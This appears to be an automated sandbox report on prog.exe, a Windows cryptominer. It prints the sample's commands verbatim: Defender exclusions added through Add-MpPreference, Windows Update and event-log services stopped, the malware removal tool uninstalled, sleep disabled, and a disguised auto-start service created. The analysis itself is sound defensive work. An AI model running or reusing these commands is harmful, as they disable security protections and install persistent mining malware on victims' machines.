Source: Process Memory Space: svchost.exe PID: 4696, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: pnhtlztmuvjx.sys.35.dr

Binary string: \Device\WinRing0_1_2_0

Source: classification engine

Classification label: mal100.spyw.evad.mine.winEXE@89/12@1/1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5468:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6536:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1240:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2584:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2380:120:WilError_03
Source: C:\Windows\System32\svchost.exe	Mutant created: \BaseNamedObjects\Global\hqjofqbynosvybfu
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2964:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7056:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wev4shdz.3ic.ps1

Jump to behavior

Source: prog.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\prog.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: prog.exe

ReversingLabs: Detection: 73%

Source: C:\Users\user\Desktop\prog.exe

File read: C:\Users\user\Desktop\prog.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\prog.exe "C:\Users\user\Desktop\prog.exe"
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "appdata"
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "appdata" binpath= "C:\ProgramData\win32\svhost.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "appdata"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\win32\svhost.exe C:\ProgramData\win32\svhost.exe
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\svchost.exe svchost.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "appdata"	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "appdata" binpath= "C:\ProgramData\win32\svhost.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "appdata"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\svchost.exe svchost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\prog.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
